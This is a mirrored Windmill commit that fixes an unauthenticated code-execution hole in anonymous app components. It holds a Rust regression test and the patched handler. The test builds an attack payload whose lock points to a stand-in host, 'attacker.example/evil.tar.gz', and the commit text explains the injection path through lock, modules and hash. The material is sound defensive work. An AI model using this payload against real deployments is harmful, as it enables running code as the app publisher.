mirror of
https://github.com/windmill-labs/windmill.git
synced 2026-09-21 00:02:30 +00:00
fix(apps): run-mode inline app component runs only the pinned content
`execute_component` is mounted in `unauthed_service()`; for an anonymous-mode app it is reachable without authentication and the job runs on-behalf-of the app publisher. A run-mode no-id inline `raw_code` runnable is authorized only against the `sha256(content)` policy pin, so every other `raw_code` field was caller-controlled: `lock` is installed verbatim (a PEP 508 direct URL builds an sdist and runs `setup.py`; a bun lock runs `postinstall`), `modules` are inline sources, and `hash` becomes the job's `runnable_id`, making the worker fetch and run a deployed script by hash instead of the pinned content — each is code execution as the publisher. This run-mode no-id arm is legacy back-compat: current deploys assign an `app_script` id (reduce_app) and take the id-based arm, which reads the server-stored lock. In run mode, rebuild the inline payload from the pin-authorized fields only (`content`, `language`, `path`, `cache_ttl`) and default the rest, so a caller cannot smuggle a lock, modules, hash or any future field into a publisher-run job. Preview mode (the app editor / `wmill app dev`, run as the authenticated non-operator caller — the `/jobs/run/preview` equivalent) is unchanged and still honors caller-supplied fields. Co-Authored-By: Claude Opus 4.8 <noreply@anthropic.com>
This commit is contained in:
co-authored by
Claude Opus 4.8
parent
75ee497011
commit
5401e1e7c8
+34
@@ -0,0 +1,34 @@
|
||||
{
|
||||
"db_name": "PostgreSQL",
|
||||
"query": "SELECT raw_lock, runnable_id, jsonb_exists(args, '_MODULES') AS has_modules FROM v2_job WHERE id = $1",
|
||||
"describe": {
|
||||
"columns": [
|
||||
{
|
||||
"ordinal": 0,
|
||||
"name": "raw_lock",
|
||||
"type_info": "Text"
|
||||
},
|
||||
{
|
||||
"ordinal": 1,
|
||||
"name": "runnable_id",
|
||||
"type_info": "Int8"
|
||||
},
|
||||
{
|
||||
"ordinal": 2,
|
||||
"name": "has_modules",
|
||||
"type_info": "Bool"
|
||||
}
|
||||
],
|
||||
"parameters": {
|
||||
"Left": [
|
||||
"Uuid"
|
||||
]
|
||||
},
|
||||
"nullable": [
|
||||
true,
|
||||
true,
|
||||
null
|
||||
]
|
||||
},
|
||||
"hash": "07ad3afbbcca85766a515496d489ba12ed40541b4fadce7c65a714fd7c9edb95"
|
||||
}
|
||||
+22
@@ -0,0 +1,22 @@
|
||||
{
|
||||
"db_name": "PostgreSQL",
|
||||
"query": "SELECT raw_lock FROM v2_job WHERE id = $1",
|
||||
"describe": {
|
||||
"columns": [
|
||||
{
|
||||
"ordinal": 0,
|
||||
"name": "raw_lock",
|
||||
"type_info": "Text"
|
||||
}
|
||||
],
|
||||
"parameters": {
|
||||
"Left": [
|
||||
"Uuid"
|
||||
]
|
||||
},
|
||||
"nullable": [
|
||||
true
|
||||
]
|
||||
},
|
||||
"hash": "96a23a4a634afd94d71fe51cf992df028c0b899640dfe3ee1a8cc585ee67aaa1"
|
||||
}
|
||||
@@ -0,0 +1,148 @@
|
||||
//! Regression test for run-mode inline-script trust in
|
||||
//! `POST /api/w/:workspace/apps_u/execute_component/:path`.
|
||||
//!
|
||||
//! An `ExecutionMode::Anonymous` app is reachable without authentication and its
|
||||
//! jobs run on-behalf-of the app publisher. In "run" mode (no
|
||||
//! `force_viewer_static_fields`) a no-id inline `raw_code` runnable is authorized
|
||||
//! only against the `sha256(content)` pin, so every other `raw_code` field is
|
||||
//! caller-controlled: `lock` is installed verbatim (a PEP 508 direct URL builds an
|
||||
//! sdist, a bun lock runs `postinstall`), `modules` are inline sources, and `hash`
|
||||
//! becomes the job's `runnable_id`, which makes the worker fetch and run a deployed
|
||||
//! script by hash instead of the pinned content — each is code execution as the
|
||||
//! publisher.
|
||||
//!
|
||||
//! This pins that in run mode the no-id inline arm runs only the pinned content:
|
||||
//! `lock`, `modules` and `hash` are dropped. Preview mode (the app-editor /
|
||||
//! `wmill app dev` path, run as the authenticated caller — the `/jobs/run/preview`
|
||||
//! equivalent) keeps honoring the caller-supplied `lock`.
|
||||
|
||||
use serde_json::json;
|
||||
use sqlx::{Pool, Postgres};
|
||||
use windmill_test_utils::*;
|
||||
|
||||
// sha256("def main():\n return 1\n"), the content-hash the policy pins.
|
||||
const CONTENT: &str = "def main():\n return 1\n";
|
||||
const CONTENT_SHA: &str = "13e9ae3486a224c96a589306cbfdf9dafd96593694e3b4632548f2999cf2299f";
|
||||
const APP_PATH: &str = "u/test-user/lock_injection_app";
|
||||
|
||||
fn client() -> reqwest::Client {
|
||||
reqwest::Client::new()
|
||||
}
|
||||
|
||||
/// The pinned benign content plus every unauthenticated field: a lock (installed
|
||||
/// verbatim), inline modules, and a hash that would select a deployed script.
|
||||
fn evil_raw_code() -> serde_json::Value {
|
||||
json!({
|
||||
"content": CONTENT,
|
||||
"language": "python3",
|
||||
"path": format!("{APP_PATH}/a"),
|
||||
"lock": "evilpkg @ https://attacker.example/evil.tar.gz",
|
||||
"modules": { "m.py": { "content": "raise RuntimeError('pwned')", "language": "python3" } },
|
||||
"hash": 424242424242_i64
|
||||
})
|
||||
}
|
||||
|
||||
#[sqlx::test(fixtures("base"))]
|
||||
async fn test_run_mode_runs_only_pinned_content(db: Pool<Postgres>) -> anyhow::Result<()> {
|
||||
initialize_tracing().await;
|
||||
let server = ApiServer::start(db.clone()).await?;
|
||||
let port = server.addr.port();
|
||||
let ws = format!("http://localhost:{port}/api/w/test-workspace");
|
||||
|
||||
// Deploy an anonymous app pinning one inline python component by content hash,
|
||||
// exactly as the deploy-time policy bundler emits `<component>:rawscript/<sha>`.
|
||||
let resp = client()
|
||||
.post(format!("{ws}/apps/create"))
|
||||
.header("Authorization", "Bearer SECRET_TOKEN")
|
||||
.json(&json!({
|
||||
"path": APP_PATH,
|
||||
"summary": "lock injection regression app",
|
||||
"value": {"type": "app", "grid": [], "subgrids": {}, "hiddenInlineScripts": [
|
||||
{"name": "a", "language": "python3", "content": CONTENT, "path": format!("{APP_PATH}/a")}
|
||||
]},
|
||||
"policy": {
|
||||
"execution_mode": "anonymous",
|
||||
"on_behalf_of": null,
|
||||
"on_behalf_of_email": null,
|
||||
"triggerables_v2": {
|
||||
"a": {"static_inputs": {}, "one_of_inputs": {}},
|
||||
format!("a:rawscript/{CONTENT_SHA}"): {"static_inputs": {}, "one_of_inputs": {}}
|
||||
}
|
||||
}
|
||||
}))
|
||||
.send()
|
||||
.await?;
|
||||
assert_eq!(resp.status(), 201, "create app: {}", resp.text().await?);
|
||||
|
||||
// Run mode, no id, no auth: the attacker supplies lock + modules + hash.
|
||||
let resp = client()
|
||||
.post(format!("{ws}/apps_u/execute_component/{APP_PATH}"))
|
||||
.json(&json!({ "component": "a", "args": {}, "raw_code": evil_raw_code() }))
|
||||
.send()
|
||||
.await?;
|
||||
let status = resp.status();
|
||||
let job_id = resp.text().await?;
|
||||
assert_eq!(
|
||||
status, 200,
|
||||
"benign pinned content must still be accepted and enqueued: {job_id}"
|
||||
);
|
||||
let job_id: uuid::Uuid = job_id.trim().parse()?;
|
||||
|
||||
// The enqueued job must carry none of the caller-supplied fields: no lock, no
|
||||
// `_MODULES` (dropping `raw_code.modules` skips the push-time injection), and no
|
||||
// `runnable_id` (a caller `hash` there would run a deployed script by hash).
|
||||
let row = sqlx::query!(
|
||||
"SELECT raw_lock, runnable_id, jsonb_exists(args, '_MODULES') AS has_modules \
|
||||
FROM v2_job WHERE id = $1",
|
||||
job_id
|
||||
)
|
||||
.fetch_one(&db)
|
||||
.await?;
|
||||
assert_eq!(
|
||||
row.raw_lock, None,
|
||||
"run mode must strip the caller-supplied lock"
|
||||
);
|
||||
assert_eq!(
|
||||
row.runnable_id, None,
|
||||
"run mode must strip the caller-supplied hash (no run-by-hash of a deployed script)"
|
||||
);
|
||||
assert_eq!(
|
||||
row.has_modules,
|
||||
Some(false),
|
||||
"run mode must strip the caller-supplied modules"
|
||||
);
|
||||
|
||||
// Preview mode (authenticated non-operator, the /jobs/run/preview equivalent)
|
||||
// must keep honoring the caller-supplied lock — the strip is run-mode only.
|
||||
let preview_lock = "# a caller lock preview must keep";
|
||||
let resp = client()
|
||||
.post(format!("{ws}/apps_u/execute_component/{APP_PATH}"))
|
||||
.header("Authorization", "Bearer SECRET_TOKEN_2")
|
||||
.json(&json!({
|
||||
"component": "a",
|
||||
"args": {},
|
||||
"force_viewer_static_fields": {},
|
||||
"raw_code": {
|
||||
"content": CONTENT,
|
||||
"language": "python3",
|
||||
"path": format!("{APP_PATH}/a"),
|
||||
"lock": preview_lock
|
||||
}
|
||||
}))
|
||||
.send()
|
||||
.await?;
|
||||
let status = resp.status();
|
||||
let job_id = resp.text().await?;
|
||||
assert_eq!(status, 200, "preview must be enqueued: {job_id}");
|
||||
let job_id: uuid::Uuid = job_id.trim().parse()?;
|
||||
let raw_lock = sqlx::query_scalar!("SELECT raw_lock FROM v2_job WHERE id = $1", job_id)
|
||||
.fetch_one(&db)
|
||||
.await?;
|
||||
assert_eq!(
|
||||
raw_lock.as_deref(),
|
||||
Some(preview_lock),
|
||||
"preview mode must preserve the caller-supplied lock"
|
||||
);
|
||||
|
||||
Ok(())
|
||||
}
|
||||
@@ -4300,10 +4300,31 @@ async fn execute_component(
|
||||
(Some(path), None, None) => {
|
||||
get_payload_tag_from_prefixed_path(&path, &db, &w_id).await?
|
||||
}
|
||||
// inline script: "preview" mode, or run mode without an entry in the
|
||||
// `app_script` table (legacy `rawscript/<sha>`-keyed triggerables).
|
||||
// inline script: "preview" mode, or run mode with no `app_script`
|
||||
// entry. The run-mode case is legacy back-compat: current deploys
|
||||
// assign an `app_script` id (reduce_app) and take the `Some(id)` arm
|
||||
// below, so it can be dropped once id-less deployed apps are gone.
|
||||
(None, Some(raw_code), None) => {
|
||||
let tag = resolved_inline_tag(raw_code.tag.clone());
|
||||
let raw_code = if is_preview {
|
||||
// Preview (editor / `wmill app dev`) runs the caller's own code
|
||||
// as themselves, like `/jobs/run/preview` — honored verbatim.
|
||||
raw_code
|
||||
} else {
|
||||
// Run mode authorizes only `content` (the `rawscript/<sha>` pin)
|
||||
// on a job that runs as the app publisher, so rebuild from the
|
||||
// pinned fields and default the rest: a caller `hash` (runs a
|
||||
// deployed script by hash), `lock` (installed verbatim), or
|
||||
// `modules` would otherwise run or install unpinned code as the
|
||||
// publisher. Reconstructing keeps a newly added field safe.
|
||||
RawCode {
|
||||
content: raw_code.content,
|
||||
language: raw_code.language,
|
||||
path: raw_code.path,
|
||||
cache_ttl: raw_code.cache_ttl,
|
||||
..Default::default()
|
||||
}
|
||||
};
|
||||
(JobPayload::Code(raw_code), tag, None)
|
||||
}
|
||||
// inline script: run mode (deployed app) with an entry in `app_script`.
|
||||
|
||||
Reference in New Issue
Block a user